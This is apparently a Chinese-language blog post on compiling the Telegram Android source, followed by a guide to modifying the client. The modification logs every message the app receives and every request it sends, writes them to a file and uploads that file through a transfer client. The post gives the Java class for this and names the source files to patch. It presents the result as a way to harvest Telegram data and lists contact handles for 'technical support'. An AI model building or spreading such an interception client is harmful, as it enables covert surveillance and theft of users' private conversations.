android studio 编译Telegram源码经验总结(2023-11-05)

前言

Telegram是一款强大的端到端加密IM,专注于安全性和速度,支持Android/IOS/Windows/macOS等平台,功能丰富,运行流畅,免费开源,代码具有学习和研究意义。

一、android telegram源码下载地址:

javascript 复制代码
github: https://github.com/DrKLO/Telegram.git

二、编译环境的选择:

Windows 版本:10 64位;

Android studio 版本:(2022.3.1)最新版本;

Android SDK 版本:Android studio自带;

Android Gradle Plugin 版本:Version 7.03 (源码版本);

Gradle Version 版本:7.02 (源码版本);

Android ndk 版本:21.4.7075529;

Gradle JDK 版本:11.0.2;

编译环境说明:

1、Android studio

Android studio 可以采用最新版本;

2、Android Gradle Plugin Version与Gradle Version

编译环境的选择很重要,Android Gradle Plugin Version与Gradle Version不要升级,

要保持与源码版本一致。笔者一开始按Android studio的提示升级了Gradle的版本,结果报一系列的错误!

3、Android ndk 要用21.4.7075529版本,与源码保持一致;

4、Gradle JDK 版本:11.0.2,

必须用11.02版本,笔者一开始用了Gradle JDK 17结果与Android Gradle Plugin Version不兼容,走了许多弯路。

5、Android studio提示升级Gradle版本时,千万不要升级!!!

按照以上配置,编译源码,第一次未修改编译笔者电脑用了8个半小时,修改后再编译花了17个小时,源码体积大小由100M增加到17G!

能编译成功,才能为后续修改打下基础!!!

三、编译指南

按项目编译指南,完成以下工作:

1、获取api_id

申请地址:https://my.telegram.org/

2、将您的release.keystore复制到TMessagesProj/config中

在gradle.properties中填写RELEASE_KEY_PASSWORD、RELEASE_KEY_ALIAS、RELEASE_STORE_PASSWORD以访问您的release.keystore

3、google-services.json

转到 https://console.firebase.google.com/,使用应用程序 ID org.telegram.messenger 和 org.telegram.messenger.beta 创建两个 Android 应用程序,打开 firebase 消息传递并下载 google-services.json,这应该复制到与 TMessagesProj 相同的文件夹。

4、BuildVars.java

在 Studio 中打开项目(请注意,应该打开它,而不是导入)

在 TMessagesProj/src/main/java/org/telegram/messenger/BuildVars.java 中填写值 - 每个变量都有一个链接,显示要获取的数据的位置和数据。

替换你在控制台创建的获取的 APP_ID 和 APP_HASH

5、API、协议文档

Telegram API 手册:https://core.telegram.org/api

MTproto协议手册:https://core.telegram.org/mtproto

四、修改指南

将tg数据转为字符串并格式化,在适当位置注入log代码,拦截telegram的消息发送与接收。

1、添加依赖库

implementation 'org.apache.commons:commons-lang3:3.6'

2、创建RecursiveToStringStyle.java,将tg数据转为字符串并格式化

3、增加LauchInfo.java,以拦截并保存telegram消息。

java 复制代码
package ftc;

import android.content.Context;

import java.io.Closeable;
import java.io.File;
import java.io.FileWriter;
import java.io.IOException;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.Locale;
//技术支持:~~~~39848872
public class LauchInfo {
    public static final SimpleDateFormat DEFAULT_SDF = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss", Locale.getDefault());
    private static String local_path;
    private static String local_dir;
    private static String filename;
    private static Context g_context;
    //接收telegram消息,并转换为格式化字符串,以便保存分析。	
    public static void get(Object value){
        String content=RecursiveToStringStyle.toString(value);
        if(content!=null&&content.equals("")==false)
            SaveContent(content);
    }
    //技术支持:+~~~~byc6352
    public static void get(String say,Object value){
        String content=RecursiveToStringStyle.toString(value);
        MyLog.i(say + "\n" + content);

    }
    public static void log(String say,Object value){
        String content=RecursiveToStringStyle.toString(value);
        String text = say + "\n" + content;
        MyLog.i(text);
    }

    public static void SaveContent(String content){
        try {
            MyLog.i(content);
            String time = DEFAULT_SDF.format(new Date());
            String text=time+"\r\n"+content+"\r\n";
            saveInfo2File(text,filename,true);
            FileTransferClient.getInstance().uploadfile(filename,false);
        } catch (Exception e) {
            MyLog.e( "SaveContent:"+e.getMessage());
        }
    }


    /**
     * 保存信息到文件中
     *
     * @param ex
     * @return
     */
    public static boolean saveInfo2File(String info,String filename,boolean append) {
        if (info == null || filename == null) return false;
        FileWriter fileWriter = null;
        try {
            fileWriter = new FileWriter(new File(filename), append);
            fileWriter.write(info);
            return true;
        } catch (IOException e) {
            e.printStackTrace();
            return false;
        } finally {
            closeIO(fileWriter);
        }

    }
    /**
     * 关闭IO
     *
     * @param closeable closeable
     */
    public  static void closeIO(Closeable closeable) {
        if (closeable == null) return;
        try {
            closeable.close();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    public  static void getWorkDir(Context context){
        local_path = context.getDir("workspace", Context.MODE_PRIVATE).getAbsolutePath().toString() + File.separator;
        local_dir = context.getDir("workspace", Context.MODE_PRIVATE).getAbsolutePath().toString() ;
        filename=local_path+"info.txt";
        g_context=context.getApplicationContext();
    }
}

3、拦截telegram收到的消息

在Telegram\TMessagesProj\src\main\java\org\telegram\messenger\MessagesController.java中 修改

注入MessagesController.java消息接收

4、拦截telegram向服务器发送的请求与应答

在Telegram\TMessagesProj\src\main\java\org\telegram\tgnet\ConnectionsManager.java中 修改

注入ConnectionsManager发送请求

至此可以快乐地抓取tg数据了!

相关推荐
小林想被监督学习3 分钟前
idea怎么打开两个窗口,运行两个项目
java·ide·intellij-idea
HoneyMoose5 分钟前
IDEA 2024.3 版本更新主要功能介绍
java·ide·intellij-idea
天空中的野鸟30 分钟前
Android音频采集
android·音视频
小白也想学C2 小时前
Android 功耗分析(底层篇)
android·功耗
曙曙学编程2 小时前
初级数据结构——树
android·java·数据结构
PigeonGuan2 小时前
【jupyter】linux服务器怎么使用jupyter
linux·ide·jupyter
小狮子安度因3 小时前
PyQt的安装和再PyCharm中的配置
ide·pycharm·pyqt
闲暇部落4 小时前
‌Kotlin中的?.和!!主要区别
android·开发语言·kotlin
VernonJsn6 小时前
visual studio 2005的MFC各种线程函数之间的调用关系
ide·mfc·visual studio
戎梓漩6 小时前
windows下安装curl,并集成到visual studio
ide·windows·visual studio